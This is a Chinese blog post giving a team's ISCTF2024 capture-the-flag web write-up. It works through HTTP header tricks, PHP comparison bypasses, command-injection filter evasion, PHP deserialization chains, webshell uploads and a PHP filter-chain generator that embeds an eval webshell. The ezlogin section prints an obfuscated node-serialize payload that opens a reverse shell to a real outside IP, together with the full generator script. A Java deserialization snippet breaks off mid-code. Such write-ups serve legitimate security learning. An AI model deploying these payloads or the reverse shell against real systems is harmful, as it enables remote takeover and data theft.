LUO 一个兴趣使然的人与他兴趣使然的博客

[ISCTF2024]WP -- F14GThi3f

⚠️ 本文最后更新于2024年11月16日,已经过了174天没有更新,若内容或图片失效,请留言反馈
Team:F14GThi3f


Web

25时晓山瑞希生日会

题目是http头相关

你不是烤p!要是Project Sekai的客户端请求才能加入生日会

User-agent:Project Sekai

只能从本地来!

X-Forwarded-For:127.0.0.1

你似乎没在正确的时间来...

这个经过尝试,时间可能不对,经过搜索

确定时间之后,http头应为Sun, 27 Aug 2024 05:00:00 GMT

小蓝鲨的冒险

首先第一层利用parse_str函数缺陷漏洞,覆盖掉变量a的值,之后是md5弱比较的绕过

?b=a[0]=s878926199a

然后是intval 绕过,intval的规则为若字符串的 首个字符为数字,则尝试读取其余字符,在遇到非数字字符(除符合科学计数法格式的字符 e 或 E外)时停止对字符串的读取并将已读取字符转化为数值

num=2024.6

由于case 0 时吗,没有break,所以之后的case语句共用一个输出条件,由于在case 0 时,字符串与0比较是相等的,所以会执行case 0,之后由于没有break,所以case 1,case 2 会继续执行下去,当执行case 2时,require_once $which.'.php'$which.php进行文件包含,最后输出flag

&which=flag

ezSSTI

Fenjing一把嗦

fenjing crack --url "[http://XXXXXXXX:XXXXX"](http://27.25.151.12:28602/") --detect-mode fast --inputs "user_input" --method POST

成功之后执行cat /flag即可

UP!UPloader

尝试进行上传后发现上传无限制,根据提示进入include.php文件,使用伪协议读取upload.php,查看上传文件的位置及命名规则

http://XXXXXX:XXXXX/include.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

<?php
  error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
  $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
  $name = pathinfo($file['name'], PATHINFO_FILENAME);
  $dir_name = $name . '.' . $ext;
  $upload_dir = './uploads/';
  if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0755, true);
  }
  if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
    echo "æ–‡ä»¶ä¸Šä¼ æˆåŠŸï¼ä¸è¿‡æ–‡ä»¶è·¯å¾„å¯ä¸å¥½æ‰¾å‘€~什么?什么include.php?我不知道啊。" ;
  } else {
    echo "æ–‡ä»¶å­˜å‚¨å¤±è´¥ï¼ŒæœªçŸ¥åŽŸå› ......";
  }
  die();
}
  ?>

通过阅读代码很明显是将上传的文件存储到/uploads/目录下,并在命名时进行md5。所以在上传一句话木马后根据以上规则连接即可

1z_php

审计代码发现为命令执行,对一些关键词进行了绕过,没有对反斜杠进行限制

我们首先ls /,查看到flag在根目录下f14g文件中,然后通过反斜杠绕过限制,获取flag

ca\t /f14g

ezserialize

构造链子

<?php

class Flag {
    private $flag;
}

class User {
    public $username;
    public $isAdmin = false;
}

$pop=new User();
$pop->username=admin;
$pop->isAdmin=true;

echo serialize($pop);

将得到的链子传入即可

ezrce

我们使用passthru函数 字符串拼接绕过限制,执行ls命令

?cmd=passthru(%27l%27.%27s%27);

?cmd=passthru(%27l%27.%27s%27.%27${IFS}/%27);

之后绕过空格获取flag即可

?cmd=passthru(%27ca%27.%27t%27.%27${IFS}%27.%27/fla?%27);

小蓝鲨的秘密

直接curl请求之后获得flag

curl "http://XXXX:XXXX/"

天命人

构造链子

<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;

    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
    function __get($huo)
    {
        $this->huoyan="火眼能洞察一切邪祟!<br>";
        echo $this->huoyan->jinjing;
    }
    function __invoke()
    {
        $this->jinjing="金睛能看破世间迷惘!<br>";
        echo $this->huoyan->jinjing;
    }
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;

    function __toString()
    {
        $f=$this->yun;
        $f();
        return "你真的逃出去了吗?天命人?<br>";
    }
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";

    function __sleep()
    {
        echo "三更敲门,菩提老祖送我筋斗云...<br>";
        echo new Jindouyun();
    }
}
class Tianmingren {
    public $tianming;
    public $ren;
    function __destruct()
    {
        echo "迷途中的羔羊,你相信天命吗?<br>";
        echo $this->tianming;
    }
}
//$data = unserialize(O:9:"Wuzhishan":2:{s:2:"wu";s:39:"俺老孙定要踏破这五指山!<br>";s:1:“j";N;});

$a = new Tianmingren;
$a -> tianming = new Dinghaishenzhen;
$a -> tianming -> yun = new Huoyanjinjing;
$a -> tianming -> yun -> huoyan = new Wuzhishan;

echo(urlencode(serialize(array($a,0))));

在生成的payload后将i:1手动改成i:0,之后令J=0e215962017,执行system('cat /flag')得到flag

千年樱

第一层

关键点:if($_COOKIE['from'] === "ISCTF")

也就是说需要将COOKIE设置为{"from":"ISCTF"},之后请求得到下一关的地址

第二层

关键点:if(file_get_contents($_POST['name']) === 'ISCTF')

需要file_get_contents得到的内容与ISCTF相同,我们使用伪协议进行处理data://text/plain;base64,SVNDVEY=,之后得到下一关的地址。

第三层

这一关加上了一层背景,我们可以F12在检查中将背景删去,之后观察代码

参考文章:

https://tttang.com/archive/1395/

https://cloud.tencent.com/developer/article/2287108

https://blog.csdn.net/rfrder/article/details/122326155

https://blog.csdn.net/qq_61768489/article/details/129016075

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

http://www.hackdig.com/02/hack-592516.htm

https://mp.weixin.qq.com/s/ujxmyvRUaMN_rV7u5xZqtw

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

<?php
$base64_payload = "YzJGcmRYSmhJR1p2Y2lCSlUwTlVSZz09"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
    '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=home";
var_dump($final_payload);

通过exp构造任意字符串生成payload

poc=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode&cmd=

小蓝鲨的临时存储室

首先上传木马文件后,连接上去发现要提权,我们发现执行down_file.sh时,权限明显高于当前用户,所以我们将其中删除php的代码删掉后加上cat /flag > /tmp/2.txt,过一段时间查看tmp文件夹即可拿到flag。

ezlogin

审计代码发现先走的是反序列化再检测,所以我管他吗的直接嗦
防止waf浅浅伪装一下
先生成一个类似于这样的payload

然后直接传
生成payload的脚本如上

let serialize = require("node-serialize");

// let payload = `{
//     "username": "_$$ND_FUNC$$_function (){let fs = require('child_process');let flag = fs.execSync('cat /etc/passwd > 1.txt').toString('utf-8');console.log('Flag is: ' + flag);return flag;}()",
//     "isAdmin":false
// }`;
let payload = `{
    "username": "_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,51,57,46,49,48,53,46,50,49,56,46,49,51,50,34,59,10,80,79,82,84,61,34,49,48,48,48,56,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()",
    "isAdmin":false
}`;


// let unserializedPayload = serialize.unserialize(payload);
// console.log(unserializedPayload.username);

console.log("Your payload cookie will be: " + new Buffer(payload, "utf-8").toString("base64"));
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
    print("Usage: %s <LHOST> <LPORT>" % (sys.argv[0]))
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print("[+] LHOST = %s" % (IP_ADDR))
print("[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
print("eval(String.fromCharCode(%s))" % (PAYLOAD))

蓝鲨的java入门课堂

发现是urldns链,改一个类直接出

import javax.print.DocFlavor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import cat.uwu.begin_java.Evil;
import cat.uwu.begin_java.IndexController;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
public static void base64deserial(String data) throws Exception {
    byte[] base64decodedBytes = Base64.getDecoder().decode(data);
    ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    ois.close();
}
public static String base64serialize(Object object) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        byte[] objectBytes = baos.toByteArray();
        return Base64.getEncoder().encodeToString(objectBytes);
    }

    public static void main(String[] args) throws Exception{
        String payload = "echo 123";
        // 获取Evil类的Class对象
        Class<?> clazz = Class.forName("cat.uwu.begin_java.Evil");

//
        // 获取私有的构造器
        Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);

        // 设置构造器为可访问
        constructor.setAccessible(true);

        // 创建Evil类的实例
        Object instance = constructor.newInstance(payload);
        HashMap<Object,Integer> hashMap = new HashMap<Object, Integer>();
        Class clas=Class.forName("cat.uwu.begin_java.Evil");//反射加载这个类
